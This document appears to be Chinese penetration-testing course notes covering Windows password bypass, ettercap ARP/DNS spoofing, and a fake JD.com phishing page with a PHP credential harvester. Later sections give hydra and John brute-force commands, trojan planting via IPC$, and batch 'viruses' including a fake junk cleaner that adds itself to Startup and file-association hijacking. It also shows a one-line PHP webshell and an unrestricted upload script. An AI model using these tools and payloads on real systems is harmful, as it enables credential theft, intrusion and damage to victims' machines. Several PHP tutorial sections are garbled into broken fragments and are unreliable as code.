基础渗透
00———-中华人民共和国刑法(第285,286条)
- 第二百八十五条
- 违反国家规定,入侵国家事务,国防建设,尖端科学技术领域的计算机信息技术系统,==处三年以下有期徒刑或者拘役==.
- 第二百八十六条
- 违反国家规定,对计算机信息系统功能进行删除,修改,增加,干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,==处五年以上有期徒刑==
- 违反国家规定,对计算机信息系统中存储,处理或者传输的数据和应用程序进行删除,修改,增加的操作,后果严重的,依照前款的规定处罚
- 故意制作,传播计算机病毒等破坏性程序,影响计算机正常运行,后果严重的,依照第一款的规定处罚
- 中华人民共和国刑法修正案(七)
- 在刑法第二百八十五条中增加两款作为第二款,第三款:”违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储,处理或者传输数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,==处三年以上七年以下有期徒刑,并处罚金==
- 提供专门用于入侵,非法控制计算机系统的程序,工具,或者明知他人实施侵入,非法控制计算机信息系统的违法犯罪行为而为其提供程序,工具,情节严重的,依照前款的规定处罚.
01———-破解Windows系统密码
利用5次shift漏洞破解win7密码
- 漏洞
1. 在未登录系统是,连续按5次shift键,弹出程序c:\Windows\system32\sethc.exe 2. 部分win7或win10系统在未进入系统时,可以通过系统修复漏洞篡改系统文件名 注:如win7或win10系统已修补漏洞2,则无法利用
- 破解过程相关知识
1. cmd工具路径 c:\windows\system32\cmd 2. 用户/账户密码存储位置 c:\windows\system32\SAM # 非逆转型加密,使用hash值类似的方法,MD5 SHA 3.修改账户密码: net user 用户名 新密码 4. 创建一个新用户: net user 用户名 新密码 /add 5. 删除用户: net user 用户名 /del 6. 提升管理员: net localgroup administrators 用户名 /add
- 漏洞利用过程
案例:破解win7系统密码 实验步骤: 1. 开启win7虚拟机,开机,并设置一个复杂密码; 2. 关机,并开机,在出现Windows启动界面时强制关机; 3. 再开机,出现"启动修复(推荐)"及选项该项; # 如果没有出现,多尝试几次第二步,如还不行,请换其他方法 4. 出现系统还原提示,点击取消,等待几分钟后,会出现问题原因,点击查看详细信息; 5. 打开最后一个链接即记事本; 6. 记事本中点打开,并选择显示所有文件; 7. 找到sethc并改名sethc-bak,再找到cmd,复制一份改名为sethc 8. 全部关闭,重启 9. 系统启动完毕后,连续5次shift键,将弹出cmd工具,使用命令创建用户名
利用PE系统破解XP密码
- 漏洞
PE系统:微型操作系统 PE系统,独立于硬盘系统的微型系统,通过PE系统启动可以对系统的SAM文件做修改
- 破解过程相关知识
账户密码存储文件:C:\Windows\system32\config\SAM U盘引导系统:开机修改启动顺序,并将U盘设置为第一启动顺序!(一般电脑是开机马上进入F2键,进入BIOS,修改启动顺序,不同品牌电脑设置方法不一样,可以查询资料)
- 漏洞利用过程
1. 下载PE制作工具(如老毛桃,大白菜,深度等),插入空U盘或光盘,一键制作PE系统到U盘 2. 为XP系统设置一个复杂密码,并关机 3. 插入带有PE系统的U盘或光盘,开机,马上按F2,进入BIOS,设置启动顺序为U盘或光盘为第一位,保存 4. 重启,进入PE菜单或PE系统,使用破解密码程序进行破解,(不同的PE系统菜单不一样,但一般都有破解密码选项)
02———-kali中间人攻击
- 实训内容:kali中间人攻击
- 实训目标: 使用kali系统模拟攻击者,利用中间人的攻击手段来获取用户登录的用户名与密码
- 环境介绍及拓扑图:
- 虚拟机软件
- 虚拟机:
- WindowsXP—–模拟客户机
- Windows Server 2003 —–模拟WEB及FTP服务器
- kali —–模拟攻击机
- Web站点素材:zhivote
- 工具:ettercap(kali自带)
- 实验拓扑图
- 攻击基本原理
- 详情”中间人攻击原理”
- 利用的ARP协议的漏洞
- ARP协议原理
- 发送ARP广播请求
- 发送ARP单播应答
- ARP攻击原理
- 攻击人通过发送虚假的ARP应答实现ARP缓存投毒!而受害人没有办法进行身份(真伪)验证!
- 详情”中间人攻击原理”
03———–DNS欺骗与钓鱼网站
内容: DNS欺骗,ARP攻击及钓鱼网站制作
背景:
钓鱼者运用社会工程学(social engineering)知识有道受害者,以在未授权情况下获取对方的姓名,年龄,邮箱账号,甚至是银行卡密码等私人信息
钓鱼往往和社会工程学相结合进行诱导,而社会工程学是黑客的内功,能否灵活运用可以体现一个黑客的个人修为,所以说”放人之心不可无”这句话并非没有道理,凡是不要害人但是总要留个心眼否则最终伤害的就是自己
社会工程学黑客常见伎俩:
电话号码欺骗
利用坏消息作案
滥用网民对社交网站的信任
二维码引诱
等
本案例利用虚假的京东网站,并且使用DNS与ARP欺骗手段使用户输入真实的用户名密码
实现目标
使用kali系统模拟攻击者,利用中间人的攻击手段来对受害者进行DNS欺骗,使受害者通过访问假的京东网站,来获取用户登录的用户名与密码
环境
- WindowsXP—-模拟客户机
- Windows Server2003—–模拟公网的DNS服务器与京东网站服务器
- kali—–模拟攻击机
- JD站点素材
工具:ettercap(kali 自带)
实验流程
- 开启虚拟机并配置IP
- 在win2003中搭建京东WEB服务器及DNS服务器
- 客户机尝试访问真正的京东
- 开启ARP欺骗,DNS欺骗
- 开始钓鱼
kali Linux建立伪装网站
//建立欺骗dns vim /etc/ettercap/etter.dns www.jd.com A 10.1.1.2 dns正向解析 www.jd.com PTR 10.1.1.2 dns反向解析 * A/PTR 10.1.1.2 //开启Apache systemctl start apache2 netstat -antpl a:所有 n:直接使用域名地址,而不通过域名服务器 t:只看tcp协议 u:看tcp与udp l:以行显示 //查看默认网站目录 cd /var/www/html //web网站默认路径 rm -rf * //***.php内容 <?php $ref = $_SERVER['HTTP_REFERER']; //获取前一页面的 URL 地址 $today = date("F j, Y, g:i a"); if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); // 转换双引号和单引号 $pas = htmlspecialchars($pas, ENT_QUOTES); $content = $today . " -- " . $ref . " 用户名 " . $nam . " 密码 " . $pas; $filed = @fopen("1.txt", "a+"); @fwrite($filed, "$content\n"); @fclose($filed); } ?> <html> <head> <script type="text/javascript"> function goBack() { window.history.back() //后退+刷新 } </script> </head> <body onload="goBack()"> <!-- 加载之后立即执行一段 JavaScript --> </body> </html> //修改执行/写入权限 chmod 777 1.txt //打开ettercap进行dns欺骗
03———-漏洞与木马
- 木马概述
- 木马通常称为黑客程序,恶意代码,也称为特洛伊木马
- 基于远程控制的黑客工具
- 木马的特性
- 隐蔽性
- 潜伏性
- 再生性
- 木马的组成
- 客户端程序
- 客户端程序是安装在攻击者(黑客)放的控制台,它负责远程遥控指挥
- 服务器端程序
- 服务器端程序既是木马程序,它被隐蔽安装在被攻击(受害)方的电脑上,目标主机也称为肉鸡
- 客户端程序
- 木马的危害
- 盗取用户信息
- 如: 网友账户,网银信息,QQ密码等
- 传播病毒
- 占用系统资源,降低电脑性能
- 将本机座位工具来攻击其他设备等
- 盗取用户信息
- 中了木马的征兆
- 硬盘不停的读写
- 鼠标键盘不听使唤
- 窗口突然被关闭
- 新的窗口莫名其妙地打开
- 木马传播途径
- 网页浏览时利用浏览器漏洞或浏览器插件(flash,迅雷等)漏洞
- 通过QQ,MSN等即时通讯软件,发送恶意链接或木马病毒文件;
- 使用U盘等移动存储介质
- 打开陌生的邮件,通过电子邮件内恶意代码或含木马病毒的附件;
- 伪装成多媒体影音文件或植入木马的应用软件,利用P2P平台和网站传播;
- 利用操作系统漏洞或弱口令 直接远程植入
- 下载来源不明的程序
- 环境介绍
- 虚拟机
- WindowsXP—–模拟黑客攻击机
- WindowsServer2003—–模拟被木马控制方
- 工具
- 灰鸽子软件
- NTscan
- 虚拟机
- 实验流程
- 开启虚拟机
- 配置IP地址并测试网络连通性
- 制作木马
- IPC$暴力破解
- 与目标主机建立IPC$—–445端口
- 植入木马到目标主机
- 设置目标主机运行木马
- 成功控制目标主机
04———-扫描与密码爆破
- 基础知识
21 | FTP | 443 | HTTPS |
---|---|---|---|
22 | SSH | 1433 | SQL Server |
23 | Telnet | 1521 | Oracle |
25 | SMTP | 3306 | MYSQL |
80 | HTTP | 3389 | RDP |
- nmap—扫描器之王
- nmap为开源工具,并且是跨平台的
- 重要常用参数
-sp | ping扫描 |
---|---|
-p | 指定端口扫描 |
-sT | TCP连接扫描 |
-sS | TCP SYN扫描 |
-sU | UDP扫描 |
-sV | 服务版本探测 |
-O | 启用操作系统探测 |
-A | 全面扫描 |
-oA | 保存到所有格式 |
//保存扫描报告
-oN 保存成TXT纯文本格式
nmap -sT 127.0.0.1 -sV -on result.txt
-oX 保存成xml格式
nmap -sT 127.0.0.1 -p 22 -sV -oX result.xml
口令安全威胁
- 现在很多地方都以用户名(账号)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限.
- 口令安全现状
- 弱口令:类似于12345,654321,admin123等这样常见的弱密码
- 默认口令:很多应用或者系统都存在默认口令,比如phpstudy的mysql数据库默认账密[root/root],Tomcat管理控制台默认账密[tomcat/tomcat]等
- 明文传输:比如http,ftp,telnet等服务器,在网络中传输的数据流都是明文的,包括口令认证信息等,这样的服务器,就有被==嗅探==的风险
破解方式
暴力破解
- 暴力破解就是利用所有可能的字符组成密码,去尝试破解.这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码,下表是不同字符集合不同密码的数量
字符集 密码位数 密码空间 [0-9] 8位 10^8=100000000 [0-9] [a-z] 8位 36^8=2821109907456 [0-9][a-z] 1-8位 ?? 字典破解
- 如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅江都爆破的成本.我们把筛选的密码组成特定的字典.在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码.密码字典大致分为以下几类
- 若口令字典
- 社工字典:人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合”名字+生日”.社工字典更具有针对性,准确率也会比较高
- 如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅江都爆破的成本.我们把筛选的密码组成特定的字典.在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码.密码字典大致分为以下几类
Windows口令破解
Windows口令远程爆破
我们可以通过NTscan工具远程爆破Windows口令
工具 NTscan 使用场景 本地网络(局域网) 支持模式 139/445 支持IPC/SMB/WMI三种扫描模式 字典文件 NT_user.dic/NT_pass.dic 如何防止NTscan扫描?
- secpol.msc
- 本地策略–>安全选项–>网络访问:本地账户的共享和安全模式属性–>仅来宾模式
Windows账户本地hash值破解
- 除了可以从远程爆破Windows密码,我们还可以在本地爆破Windows密码,本地Windows账户破解主要有两种方式
- 从内存中读取Windows密码
- 使用getpass工具直接从Windows系统内存中读取用户密码
Windows hash值破解
- Windows hash值破解一共需要两步操作,首先我们使用QuarksPwDump工具读取(导出)Windows账户密码hash值,然后再使用SAMinside工具破解hash值
linux本地shadow文件破解
- 我们可以使用John工具,破解shadow密码文件
- John有Windows版和Linux版本, John也是自动集成在kali中.John破解的时候也需要准备一个字典
- John的命令如下
john --wordlist=*指定字典 /etc/shadow john --show /etc/shadow
使用kali Linux进行口令破解
Linux口令破解,也分远程破解与本地破解,远程破解主要是爆破ssh服务,属于在线密码工具,本地破解需要拿到Linux的shadow文件,进行hash值破解,属于离线密码攻击
破解ssh服务
- 首先我们使用hydra攻击破解ssh服务,命令如下
hydra -l root -P /root/dic/test_pwd.dic *IP* ssh -vV
网络服务口令破解
- 在渗透测试中,我们同样会对各种服务的口令进行审计
- 破解MSSQL口令
- 本实验,需要搭建一个SQL server2000服务管理器,开启后在kali虚拟机中输入以下命令
hydra -l sa -P /root/dic/test_pwd.dic *IP* mssql -vV
破解RDP口令
- 开启RDP服务
- 右键计算机->属性->远程设置->远程->勾选运行任意版本远程桌面的计算机连接
- 使用netstat -an查看3389端口是否开启
- 打开kali爆破
hydra -l *用户名* -P *字典地址* *IP* rdp -vV
- 开启RDP服务
破解FTP口令
hydra -L *用户名字典地址* -P *密码字典地址* *IP* ftp -vV
- 破解445口令
hydra -l administrator -P *字典地址* *IP* smb -vV
- 破解Telnet口令
hydra -l administrator -P *字典地址* *IP* Telnet -vV
05———病毒
@echo off
color 0a
title 小程序v1.0
:menu
cls
echo ======================================
echo 菜单
echo 1.修改管理员密码
echo 2.定时关机
echo 3.退出本程序
echo ======================================
set /p num=您的选择是: //在此暂停,用户输入的值就是num的值
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 别闹,只能输入1,2,3
pause
goto menu
:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
echo 您的密码已经设置成功
pause //暂停
goto menu
:2
set /p time=请输入时间:
shutdown -s -t %time%
goto menu
:3
exit
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择允许程序的所有操作
echo.
echo.
echo start cmd>c:\windows\windows.bat
echo %0>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\">nul
if %errorlevel%==0 goto next //如果值不为
copy c:\windows\windows.bat "%USERPROFILE%\[开始] 菜单\程序\启动\">nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo ======垃圾清理中,请不要关闭窗口==========
echo.
ping -n 5 127.0.0.1>nul
echo.
echo =====垃圾清理完毕,共清理垃圾500M========
echo.
echo.
echo ==========建议立即重启电脑=============
pause
:error
echo.
ehcho.
echo =程序运行失败,请[使用管理员权限]重新运行!=
echo.
pause
//%errorlevel% 系统变量,如果上一条命令执行成功,值为0,如果上一条命令执行失败,值为非0
@echo off
title 系统垃圾清理
color 2f
echo =====若有杀毒软件恶意拦截,请选择[允许程序的所有操作]=====
echo.
echo.
:next
echo.
echo.
echo =====垃圾清理中,请不要关闭窗口=====
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul2>nul
echo.
echo =====完犊子了,你的系统已经废了=====
ping -n 5 127.0.0.1>nul
echo.
Start c:\windows\explorer.exe
echo.
echo ====已修复好!是不是吓坏了!!嘿嘿====
pause
//最简单的蓝屏炸弹文件
1. 新建文本文档
2. 输入: ntsd -c q -pn winlogon.exe
3. 改为bat后缀
4. 开始->程序->启动(右键)打开,把文件放入
//最简单的病毒
1. 新建文本文档
2. 输入:
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=exefile
assoc .jpg=exefile
3. 改为bat后缀
4. 开始->程序->启动(右键)打开,把文件放入
病毒解药:
assoc .exe=exefile
assoc .txt=txtfile
assoc .mp3=mp3file
assoc .jpg=jpgfile
//最简单的脚本
1. 新建文本文档
2. 输入:msgbox "德玛西亚"
3. 把TXT改成vbs
//最简单死循环脚本
do
msgbox "德玛西亚"
loop
//把TXT改成vbs
//关闭:
1. 打开任务管理器
2. 关闭wscript.exe,结束任务
06———基础环境搭建
基础环境
- win2008 能上外网 NAT
web服务
WAMP (Windows Apache MySQL PHP)
phpstudy
- ~启动问题
- 端口正常开放
- 80 http
- 3306 mysql
- ~ http服务
- web 根目录[c:\phpStudy\WWW]
- l.php 探针
- phpinfo.php
- phpmyadmin
- Apache配置文件[c:\phpStudy\Apache\conf\httpd.conf]
- Apache日志文件[c:\phpStudy\Apache\logs]
- ~ mysql
- [root/root]
- [C:\phpStudy\MySQL\bin]
- [mysql -uroot -proot]
- mysql配置文件[c:\phpStudy\MySQL\my.ini]
- ~ php
- [phpinfo();]
- [c:\phpStudy\php\php-5.4.45]
- [c:\phpStudy\php\php-5.4.45\php.ini]
火狐浏览器
输入法
- Ubuntu
- sudo passwd root
- su root
- ubuntu 安装软件
- 更新源
- apt-get update
- apt-get install ssh
- apt-get install vim
- 开启ssh服务
- 修改配置文件 /etc/ssh/sshd.config
- PermitRootLogin yes
- PasswordAuthentication yes
- service ssh start/stop/restart/status
- update-rc.d ssh enable
- dnsmq
- /etc/NetworkManager/NetworkManager.conf
- 安装docker
- curl -s https://get.docker.com/ | sh
- 把sh脚本保存 ./运行
- docker -v
- 安装docker-compose docker的快速启动器
- py
- sudo apt-get install python3-pip
- sudo pip install docker-compose
- docker-compose -v
- 下载源代码
- github.com/vulhub/vulhub
- unzip vulhub.
- 启动环境
- 进入漏洞环境目录
- tomcat/tomcat8
- sudo docker-compose build
- sudo docker-compose up
- 加速器 运行curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io
07———-HTML语言
<form
action=""
method=""
target="_blank">
<!-- 表单元素 -->
</form>
属性
action
- 数据提交到服务器的url
- 如果为空 ,提交到当前页面
- 也可以采用绝对路径和相对路径的xing
method 提交方式
- get默认值,显示提交,长度限制2kb(IE).向服务器索取数据
- post, 无长度限制. 一般准备数据提交后服务器再交付
enctype 什么样的数据可以被提交
- application/x-www/form-urlencoded 默认值 特殊字符等都可以被提交
- multipart/form-data 上传文件时使用
- text/plain 只能将普通的数据提交(有些少数框架中,可能会使用)
- name 定义整个表单的名称(不是必要)
表单元素
< input/>
- type 属性
- password 密码框
- text 文本框
- radio 单选框
- checkbox 复选框
- type 属性
< select> //下拉列表 <option>选择月份</option> <option>一月</option> <option>二月</option> <option>三月</option> < /select>
## 08----------PHP - PHP概述 - 一门编程语言 - 运行在服务器端 - 专门用于开发网站的解释型语言,不需要编译直接运行 - PHP运行需要运行环境 - Windows phpstudy - Linux 单独安装 - Web原理简述 - 打开浏览器 - 输入URL - 显示页面 - PHP基本语法 ```php #开始标记 <?php #结束标记 ?>
这之间就表示进入PHP模式,在开始和结束标记之外的内容都会被PHP解析器忽略.
可以直接嵌入到html代码中,并且可以嵌入到html代码中的任何地方
在一个html文档中可以嵌入任意多个PHP标记
文件末尾的PHP代码段结束标记可以不要,在一些情况下省略掉更好!
指令分隔符[ ; ]
- php用分号表示一句话的结束
- 结束标志 ?>就隐含一个分号,所以PHP代码最后一行可以不用加分号
注释
- 单行注释 //
- 多行注释/*………… */
- 注意:
- PHP代码中的注释,不会显示在浏览器的源代码中
- PHP运行的环境是服务器,我们浏览器端看到的是PHP引擎运行PHP代码后的执行结果.
php运行环境安装
- Apache+PHP+MySQL是PHP比较流行的生存环境
- LAMP(Linux Apache MySQL PHP)
简单的PHP语句
- phpinfo();
- echo 用于输出简单的变量
- var_dump(); 用于输出变量值及其变量类型
变量
变量声明
- 不需要声明变量,但是需要初始化 .
- 如果一个变量没有初始化,内存中就没有这个变量
初始化
- 就是给变量初次赋值,或者变量的默认值
赋值
[=]
根据实验,说明PHP脚本是顺序执行.
引用赋值
$a=10; $b=$a; $b=$b+1; echo $a;//10 echo $b;//11 $c=&$a; $c=$c+1; echo $a;//11 echo $c;//11 //相当于给$a起了一个别名,$c值的改变 $a也随之发生变化
释放变量
- unset();
变量的命名
- 以[$]符号开头
- 严格区分大小写
- 字母| 数字| 下划线,不能以数字开头
- 尽量不要使用PHP关键字作为变量名
可变变量
$name="hello"; $$name="world"; echo $name; echo "<br/>"; echo $hello; //$$name;
变量类型
布尔类型 True False
- 以下内容会被当做false,其他均会被认为True
- 布尔值false
- 0
- 浮点型0.0
- 空白字符串和字符串0
- 没有成员的数组
- null
- 以下内容会被当做false,其他均会被认为True
int 整形
float 浮点型
string 字符串
- 字符串的定义
- ‘ ‘
- “ “
- 定界符**<<<**定界符的开始
- 注意:
- 单引号定义的字符串中的单引号需要转义[ \‘ ]
- 单引号定义的字符串中,[$]符号原样输出
- 双引号定义的字符串中,[$]是变量的开始,变量整体用{}括起来
- 单双引号定义的字符串中输入特殊字符包括[‘ “ $…]需要转义
- 定界符开始和结束后面不能有任何字符包括空白字符和注释
- 字符串的定义
数组
常量
不变的量
定义 define(“NAME”,”abc”);
直接使用即可
预定义常量
常量名 常量值 __FILE__ __LINE__ __FUNCTION__ __LINE__ __DIR__ 当前文件目录
PHP 语法错误
- error 结束脚本执行
- warr~ 只提示 ,不影响执行
- notice
函数
- 内容
- 代码块
- 有输入,有输出
function test(){ 代码块 return; }
注意
- 函数调用时,实参要按照顺序给形参.
- 函数调用时,互相独立,默认没有联系
- 执行完毕后,返回调用的位置,继续向下执行
变量的范围
局部变量
- 在函数内部定义的变量
<?php $a=10; function test(){ echo $a; } test(); echo "<hr />"; echo $a; ?>
全局变量
- 在php脚本中,函数外部定义的变量
- 变量的作用域为整个PHP脚本.
在函数中使用函数全局变量
传参
声明方式
- global
<?php $a = 10; define("name","ajeset"); function test(){ echo $a; global $a; echo $a; echo name; } test(); ?>
常量的作用域,是超全局
静态变量
- 在函数内部定义
- 并且用static修饰符修饰
- 仅在函数初次执行时被初始化
参数的传递
按值传递参数(默认方式)
- 对形参的操作,不会对实参产生影响
引用传参
- 相当于跟实参起了一个别名,对形参的操作会对实参产生影响
默认参数
- 如果没有给函数传递实参,取默认值
- 建议:全给默认参数,全部传参
<?php function test(){ echo "this is:".__FUNCTION__;//获取函数名 echo func_get_arg();//根据参数偏移量,从零开始计数,获取参数偏移量 echo func_num_args();//传参个数 for($i=0;$i<func_num_args();$i++){ echo func_get_arg($i)."|"; } } test(); echo "<br />"; test("ajest",24,true,89.9){ } ?>
可变参数 (变量函数)
可变函数参数列表
- func_get_args();
- func_get_arg();
- func_num_args();
函数名为变量,类似这样的结构,简单的后门
- &a(&b);
```php
".func_get_arg(0); } function test2(){ echo "this is func".__FUNCTION__; echo "
".func_get_arg(0); } test1() test2() $a="system"; $a("ipconfig");//函数 函数名是$a- ```php 最简单的一句话木马 1.php?a=system&b=ping www.baidu.com <?php $_GET['a']($_GET['b']); ?>
递归函数
- 自己调用自己
<?php function test($n){ echo $n.' '; if ($n>0){ test($n-1);//自己内部调用自己,即 递归函数 }else{ echo '<-->'; }echo $n.' '; } test(3);// 3210<-->0123 ?>
- 内容
数组
变量类型:复合数据类型
键值对
- 键名 键值
- key value
数组中的元素
- 除了对象,可以存放任意类型的数据
数组的分类
- 键值对 整形的正数 索引数组
- 键值对 具有语义的数组 关联数组
数组的创建
第一种创建数组的方式
$stu[]
在未指定键名的情况下,给数组赋值,键名从当前最大的开始计数,以此增大
可以手动给键名
<?php $stu[10]="ajest"; $stu[20]=24; $stu[30]=true; $stu[]=78.9; echo "<pre>"; //echo $stu; print_r($stu); //echo $stu; var_dump($stu); ?>
- - 第二种方法 - array() - ```php <pre> <?php $stu1 = array("ajest",24,true,78.9); print_r($stu1); $stu2=array( 'name' => "zoe", 'age' => "23", 'sex' => false, 'greade' => 99.9, 'something like this!' ); ?>
数组中元素的访问
- 读取
- 添加
- 修改
数组的遍历
索引数组
```php
"; } $stu2=array( 'name' => "zoe", 'age' => "23", 'sex' => false, 'greade' => 99.9, 'something like this!' ); foreach($stu2 as $key =>$value){ echo $key." => ".$value."
"; } ?>- 二维数组 - ```php <?php $students=array( 1901=>array( 'name' => "ajest", 'age' => 24, 'sex' => true, 'grade' =>79.9), 1902 => array("zoe",23,false,61), 1903 => array("xl",25,true,59.9) ); print_r($students); echo $students[1901]['grade']; ?
多维数组
预定义超全局数组变量
PHP定义好了的,可以直接使用
函数内部或者外部都能使用
名称 作用 $GLOBALS 引用全局作用域中可用的全局变量 $_SERVER 一个包含了诸如头信息(header).路径(path).以及脚本位置(script locations)等等信息的数组. $_GET 通过URL参数传递给当前脚本的变量的数组 $_POST 当HTTP POST 请求的Content-Type是application/x-www-form-urlencoded multipart/form-data时,会将变量以关联数组形式传入当前脚本 $_FILES 通过HTTP POST方式上传到当前脚本的项目的数组 $_COOKIE 通过HTTP Cookies方式传递给当前脚本的变量的数组 $_SESSION 当前脚本可用SESSION变量的数组 $_GET
- ```PHP
请重新登录";
}
}else{
echo "Error!请通过表单登录";
}
?>
- ```html <html> <meta charset="utf-8"> <h1> 用户登录 </h1> <form action="./get.php" method="get" target="_blank"> 用户名:<input type="text" name="userName"><br/> 密码:<input type="password" name="userPass"><br/> <input type="submit" name="userSubmit" value="登录"> </form> </html>
- ```PHP
请重新登录";
}
}else{
echo "Error!请通过表单登录";
}
?>
$_POST
- 当HTTP POST 请求的Content-Type是application/x-www-form-urlencoded multipart/form-data时,会将变量以关联数组形式传入当前脚本
- HTTP请求报文的请求正文中
$_FILES 文件上传相关信息
<html> <meta charset="utf-8"> <h1> 文件上传 </h1> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="userUpFile"> <input type="submit" name="userSubmit" value="上传"> </form> </html> <?php echo "<pre>"; if(isset($_POST['userSubmit'])){ //var_dump($_FILES); $tmp_path=$_FILES['userUpFile']['tmp_name']; $path=__DIR__ ."\\".$_FILES['userUpFile']['name']; //在当前文件夹下上传文件 if(move_uploaded_file($tmp_path,$path)){ echo "upfile success!"; echo "<br />".$_FILES['userUpFile']['name']; echo "<br />".$path; }else{ echo "upfile failed"; } } ?>
Cookie
会话控制
浏览网页的时候,使用的是HTTP协议
- 客户端发送请求
- 服务端给出相应
COOKIE
- 是存储在客户端的一端文本,文件或字符串
- 服务器发送给客户端的
- 每次客户端浏览器,在发出请求的时候,都会携带cookie信息
性质:
- name cookie的名称
- value cookie的值
- expire 过期时间
- path cookie的有效路径
- domain cookie的域名
- secure https
- httponly 仅仅通过http协议访问,不能通过js访问
设置cookie的语句:
- setcookie():
浏览器cookie信息F12